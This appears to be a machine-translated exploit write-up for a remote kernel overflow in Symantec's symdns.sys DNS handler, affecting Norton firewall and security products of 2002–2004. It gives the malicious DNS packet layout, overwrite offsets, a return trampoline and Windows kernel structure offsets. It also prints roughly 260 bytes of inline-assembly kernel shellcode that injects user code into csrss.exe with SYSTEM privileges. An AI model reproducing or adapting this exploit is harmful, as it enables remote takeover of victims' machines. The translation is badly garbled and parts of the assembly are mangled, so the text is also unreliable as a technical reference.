Author: SoBeIt from: https: //www.xfocus.net
This vulnerability occurs in symdns.sys, when processed DNS reply, due to the unspeakable total area name length, resulting in an over-long domain name to cause overflow, overflow occurs in RING0, IRQL = 2 (Dispatch_level), process PID is 0 (IDLE Process) environment.
A DNS packet format is as follows: "/ Xeb / X0B" // Packet ID, you can set it at will, but there is no use in this vulnerability, and it will be "/ x80 / x00" // packet Flag. 15 Location 1 means this is a reply message "/ x00 / x01" // problem number "/ x00 / x01" // answer number "/ xxx / xxx" // authorized resource record number, not important here, casually set "/ xxx / xxx" // Extraway information resource record number, is not important here, casually set the above part as the DNS packet head "/ xxx / xx / x ..." // domain name, format is each segmentation domain name Length domain name, such as www.buaa.edu.cn is / x03 / x77 / x77 / x77 / x04 / x62 / x75 / x61 / x61 / x03 / x65 / x64 / x75 / x02 / x63 / x6e / x00 w w W B u a a e d u c n / x00 is expressed at the end. When processing, the number of length records will be replaced with 0x2e, which is "." To complete the processing.
The function of processing the incoming domain name in symdns.sys is located at the Symdns.sys base address 0xA76, which is assigned enough space in the stack (in fact, the execution of the last shellcode is not executed in the stack, but is not Sub-pools are executed). The incoming domain name has the maximum length limit and cannot exceed 0x40 bytes, so each of my shellcode length is 0x3f (63) bytes. After overwriting 532 bytes, overwrite the return address of the second call, as for the return address that the first call is overwritten, I don't know much. This vulnerability has a characteristic that in the stack, the incoming domain name is processed, causing the second half of the stack to the last half of the shellcode, and it is terrible. But fortunately, the address of our entire DNS packet (including DNS packet head) is saved at the ESP 0xc where we covered the return address, is an address in a non-tap pool,
74816D74 4C816C9B 816D002E 816C9E34 | _____ esp points to this | _______ This is the address of the non-paging pool
Now everyone should know how to do it? Although there is no fixed JMP [ESP 0xc], Call [ESP 0xc] in the kernel, but we can do it, using instructions such as POP / POP / POP / RET, the control of the machine Go to us. However, this 3 POP instructions is best not to bring POP EBP, otherwise it will be inexplicably returned to a strange address. At the end of the Strstr function, there are two POP / POP / POP / RET combinations. Now understand the role of the message ID of the beginning? / Xeb / x0b is a machine directive that directly jumps, skips the DNS packet header and the first Shellcode length count number of DNS packets. Flashsky said in the journal to skip the length count, but the 0x3F correspondence is AAS, and the Eax is ASCII adjustment, so this 0x3f can also be regarded as part of the SHELLCODE in the case of generally does not affect Eax and flags. You can save a lot of bytes ^ _ ^.
Now the current environment is an No. 0 process, you have to get the eProcess address of that process first to cut the process address space. The process of the No. 0 is very special. It is basically not hanging on the list of all processes, such as ActiveProcessLinks, SessionProcessLinks, WorkingSetExpansionLinks, and normal conditions can only enumerate the WaitListhead to enumerate all threads and judge the process, which is very troublesome. The code is very long, but there is no road to the road, saving a thread Ethread address of an 8th process at KPCR 0x55C ( 55c struct _kthread * npxthread), which can get ETHREAD 0x44 to get EPRocess from this thread. Address, and the No. 8 process is hung on other linked lists other than SessionProcessLinks. The next step is to switch the process address space, remove the physical address of the process page directory from the target process EPROCESS 0x18 and modify the current CR3 register to this value (I also modified the CR3 in the task section KTSS) Value, the results found that this is not necessary). Then select a suitable thread in this process to run our user-name shellcode, this choice is important, because the current IRQL = 2, any address of any access to the pages will cause the IRQL_NOT_ESS_OR_EQUAL blue screen error, because the information will result in page I / O, I will finally wait on the object, which violates the rules that cannot be waiting in IRQL = 2. Follow the operating system of a standard 5 scheduling status model, when a thread waits for a long time, the kernel stack of the thread will be replaced by memory, so we cannot use it. So we need to judge whether Ethread = 0x11e ( 11e Byte KernelStackResident is TRUE. This is related to which system process that chooses to choose, and the shell that returns such a system process is SYSTEM permission, which must be an active process to ensure that there is a thread that has not been replaced every moment. Winlogon.exe is certainly not doing, because this is a 0 working set process in most cases. In the three processes of lsass.exe, smss.exe, csrss.exe, I finally selected CSRSS.exe, because Win32 subsystem should not be idle :), the facts also prove that choosing this process can basically Find a suitable thread. Enumerates a process of a process can be tapped in EPRocess 0x50, which chains all threads of the process, linked list position at Ethread 0x1A4: struct _eprocess (sizeof = 648) 000 Struct _kprocess PCB 050 Struct _List_entry threadlisthead 050 struct _List_ENTRY * FLINK 054 STRUCT _LIST_ENTRY * BLINK
struct _ETHREAD (sizeof = 584) 000 struct _KTHREAD Tcb 1a4 struct _LIST_ENTRY ThreadListEntry 1a4 struct _LIST_ENTRY * Flink 1a8 struct _LIST_ENTRY * Blink or EPROCESS at 0x270 take list head, a position list ETHREAD at 0x240: struct _EPROCESS (sizeof = 648) 270 struct _LIST_ENTRY ThreadListHead 270 struct _LIST_ENTRY * Flink 274 struct _LIST_ENTRY * Blinkstruct _ETHREAD (sizeof = 584) 240 struct _LIST_ENTRY ThreadListEntry 240 struct _LIST_ENTRY * Flink 244 struct _LIST_ENTRY * Blink
The rest is to allocate virtual addresses, lock, and copy shellcode in the process space, and call the API as: ZWopenProcess (here, if this call can cause the blue screen because the address space does not match if the CR3 is not changed, because the address space does not match) -> ZwallocatevirtualMemory-> ZWLOCKVIRTUALMORY-> ZWWRITEVIRTUALMEMORY, for versatility I use the underline interface of MOV EAX, API Number; INT 2E to call the API. We have to modify the EIP to be executed next time before calling zwwritevirtualmemory, which is saved at KTRAP_FRAME 0x68, modify it to our assigned address. KTRAP_FRAME is directly directed to this address directly at the bottom of the thread stack. I remember to save the original EIP in our user-name shellcode, similar to the format of PUSH 0x12345678; RET, the code returns the address of 12345678, so in memory / x68 / x78 / x56 / x34 / x12 / xc3, overwriting The 12345678 is OK, and the thread will return to normal execution after executing our function code.
The last section is some fixed feature returns to the vulnerability, restores some register values, pointing the ESP to the return address and restores EBP. Here I have skipped all the rest of the call of symdns.sys, because it will take the value from the stack, and the stack value has been changed by us, so I returned to TCPIP! UDPDELIVER, returned here The advantage is that it is completely no matter what you have dealt, how to deal with it, it only detects the return value, which is very in line with our requirements, huh, huh.
This shellcode probably only 3/4 success rate, because in some cases, our DNS packet is not attached to the ESP 0xc, and sometimes all threads have been changed from the process, and there must be The little probability will happen to NDIS dead locks --_- Sometimes the RP broke out every day, sometimes the virtual machine is mad blue screen. . . So my utilization method is not very mature, I also hope that everyone will discuss improvement. The biggest problem estimate in the internal nuclear overflow is the problem of the shortage. Since IRQL = 2 cannot be changed, it is very likely that somewately visits can not be accessed. Some modifications can use, such as Work Item, which can be used under IRQL = 2, and then the system worker thread is completed for us. This is some improvement ideas. It is not difficult to return safely return, and it is not very difficult to return in KO, it is not very difficult, but it is estimated that shellcode will be a lot. At the summit, because Flashsky big cattle refused to reveal the source code, I had to do myself, and I have a good job. During this time, I was dragged for so long because of the review of the recovery test (I accidentally hung up in the last school. In fact, the code is very early, it is too lazy to write this document. I finally made a decision this morning to finish this document on the morning, and it is estimated that there is a mistake, I hope everyone should pointed out. Shellcode consists of kernel shellcode and user shellcode. The kernel shellcode is responsible for returning and executing user shellcode. User shellcode is a normal function, pay attention to joining the code of the firewall. Below is the kernel shellcode code, only 260 bytes of the machine code, basically not too big :): __declspec (naked) Justtest () {__ASM {Call Go1GO1: Pop EAX PUSH EBX, 0xFFDFF55C MOV EBX, DWORD PTR [EBX] MOV EBX, DWORD PTR [EBX 0x44]
push 0x73727363FindProcess: mov edi, esp lea esi, dword ptr [ebx 0x1fc] push 0x4 pop ecx repe cmpsb jecxz go2 mov ebx, dword ptr [ebx 0xa0] sub ebx, 0xa0 jmp FindProcessgo2: pop edx mov edx, dword ptr [ EBX 0x50] Findthread: Movzx ECX, Byte Ptr [EDX-0x86] DEC ECX JECXZ GO3 MOV EDX, DWORD PTR [EDX] JMP FindthreadGO3: MOV EAX, DWORD PTR [EBX 0x18] MOV EBP, ESP SUB ESP, 0x40 PUSH EDX MOV CR3, EAX
Push 0x10 POP ECX XOR EAX, EBP LEA EDI, DWORD PTR [EBP-0X40] Zerostack: Stosd Loop Zerostack MOV BYTE PTR [EBP-0x38], 0x18 Lea EDI, DWORD PTR [EDX 0x3c] Push EDI LEA EDI, DWORD PTR [EBP-0x38] Push EDI LEA EDI, DWORD PTR [EBP-0x8] Push 0x1F0FFF PUSH EDIMOV AL, 0X6A Lea Edx, DWORD PTR [ESP] INT 0X2E Add ESP, 0x10 Test Eax, EAX JNZ Failed
MOV BYTE PTR [EBP-0X3], 0x2 Push 0x40 Push 0x1000 Lea EDI, DWORD PTR [EBP-0X4] Push EDI PUSH EAX LEA EDI, DWORD PTR [EBP-0XC] Push EDI PUSH DWORD PTR [EBP-0x8]
MOV Al, 0x10 Lea Edx, DWORD PTR [ESP] INT 0X2E Add ESP, 0x18 Test Eax, EAX JNZ FAILED
Push 0x2 Lea EBX, DWORD PTR [EBP-0x4] Push EBX Lea EBX, DWORD PTR [EBP-0XC] Push EBX PUSH DWORD PTR [EBP-0x8]
MOV Al, 0x59 Lea EDX, DWORD PTR [ESP] INT 0X2E Add ESP, 0x10 Test Eax, EAX JNZ FAILED
MOV EDI, DWORD PTR [EBP] POP EDX MOV EDX, DWORD PTR [EDX-0x7c] Push DWORD PTR [EDX 0x68] POP DWORD PTR [EDI 0x210] PUSH DWORD PTR [EBP-0XC] Pop DWORD PTR [EDX 0x68] Add edi, 0x11c
Push EAX PUSH 0X120 PUSH EDI PUSH DWORD PTR [EBP-0XC] Push DWORD PTR [EBP-0x8] MOV Al, 0xF0 Lea EDX, DWORD PTR [ESP] INT 0x2e Add ESP, 0x14
Failed: Add ESP, 0xec XOR EAX, ESP ESI, DWORD PTR [ESP 0x38] MOV EBP, ESP Add EBP, 0x88 RET 0X2C}}
PS: the existence of the vulnerability SYMANTEC products are: * - Symantec Norton Internet Security 2002 * - Symantec Norton Internet Security 2003 * - Symantec Norton Internet Security 2004 * - Symantec Norton Internet Security Professional 2002 * - Symantec Norton Internet Security Professional 2003 * - Symantec Norton Internet Security Professional 2004 * - Symantec Norton Personal Firewall 2002 * - Symantec Norton Personal Firewall 2003 * - Symantec Norton Personal Firewall 2004 * - Symantec Client Firewall 5.01, 5.1.1 * - Symantec Client Security 1.0, 1.1, 2.0 (SCF 7.1) * - Symantec Norton Antispam 2004 This code is tested on virtual machines of Windows2000 PRO Build 2195 SP4 pass, WinXP principles.